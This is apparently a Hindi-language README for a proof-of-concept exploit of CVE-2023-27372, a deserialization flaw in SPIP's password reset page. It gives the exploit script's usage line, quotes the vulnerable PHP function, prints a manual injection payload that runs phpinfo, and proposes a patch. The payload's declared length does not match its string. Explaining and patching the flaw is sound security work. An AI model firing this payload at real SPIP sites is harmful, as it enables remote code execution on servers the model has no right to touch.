यह PoC जल्दबाज़ी में लिखा गया था, यह कुछ खास नहीं है।
यह नए CVE-2023-27372 SPIP RCE भेद्यता का शोषण करता है।
यह एक डिसीरियलाइज़ेशन दोष है जो पासवर्ड रीसेट सुविधा (spip.php?page=spip_pass) के दौरान "/ecrire/balise/formulaire_.php" में #ENV टैग के खतरनाक उपयोग का शोषण करता है। विशेष रूप से यह पंक्ति:
- सिंटैक्स: python3 exploit.py -u http(s)://url.com
function protege_champ($texte){
if (is_array($texte))
$texte = array_map('protege_champ',$texte);
else {
// ne pas corrompre une valeur serialize
if (preg_match(",^[abis]:\d+[:;],", $texte) AND unserialize($texte)!=false)
return $texte;
$texte = entites_html($texte);
$texte = str_replace("'","'",$texte);
}
return $texte;
}
प्रोटेज_चैम्प फ़ंक्शन कई खामियों से ग्रस्त है। इनपुट को मान्य करने के लिए उपयोग की जाने वाली रेगुलर एक्सप्रेशन (RE) जाँच त्रुटिपूर्ण है और इसे आसानी से बायपास किया जा सकता है। कोड बिना उचित मान्यता के अनसिरियलाइज़ फ़ंक्शन को कॉल करता है, जिससे मनमाना कोड निष्पादन संभव होता है। मैन्युअल शोषण अत्यंत आसानी से किया जा सकता है। उदाहरण के लिए, यदि हम phpinfo(); निष्पादित करना चाहते हैं, तो हम ऐसा कर सकते हैं:
oubli=s:19:"<?phpinfo(); ?>";
यदि सर्वर अपेक्षित आउटपुट लौटाता है, तो यह कमजोर है। हम कैसे पैच करें? वास्तव में काफी सरलता से। नीचे, मैंने एक बुनियादी पैच लिखा है:
function protege_champ($texte) {
if (is_array($texte)) {
$texte = array_map('protege_champ', $texte);
} else {
if (!isValidInput($texte)) {
$texte = 'Malicious input detected';
} else {
$texte = entites_html($texte);
$texte = str_replace("'", "'", $texte);
}
}
return $texte;
}
पैच किया गया प्रोटेज_चैम्प फ़ंक्शन इनपुट सत्यापन, स्वच्छता और दुर्भावनापूर्ण इनपुट को संभालना शामिल करता है।
कृपया इसका दुर्भावनापूर्ण उपयोग न करें। धन्यवाद।
<a href=https://twitter.com/0SPwn>ट्विटर